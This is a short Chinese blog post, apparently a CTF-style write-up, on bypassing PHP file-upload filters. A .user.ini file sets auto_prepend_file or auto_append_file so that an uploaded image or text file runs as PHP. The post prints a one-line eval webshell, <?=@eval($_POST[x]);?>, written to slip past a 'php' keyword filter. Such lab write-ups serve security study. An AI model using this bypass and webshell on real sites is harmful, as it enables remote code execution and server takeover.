文件上传--php user.ini详解
  6FqvcajNhQJV 12天前 22 0

文件上传

参考文档:https://www.php.net/manual/zh/configuration.file.per-user.php

如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

auto_prepend_file  表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。

auto_prepend_file="shell.png"

auto_append_file    这个是指内容添加到文末,如果有exit会无法调用到

 

文件上传一

修改后缀--失败

 大小写,php3等等--没有显示错误,上传成功

 尝试访问图片--没有被解析,下载到了本地

 尝试00截断--失败

 使用.user.ini   使用auto_prepend_file="shell.png"

 

上传shell.png

 成功

 

文件上传二:

上传一个普通的png文件:发现路径

 上传.user.ini文件 使用 auto_append_file="1.txt"

 上传1.txt  

 

上传失败疑似是过滤php,使用简写<?=@eval($_POST[x]);?>

 成功

 

 

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 12天前 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   3天前   5   0   0 网络安全
  OKgNPeBk991j   2天前   13   0   0 网络安全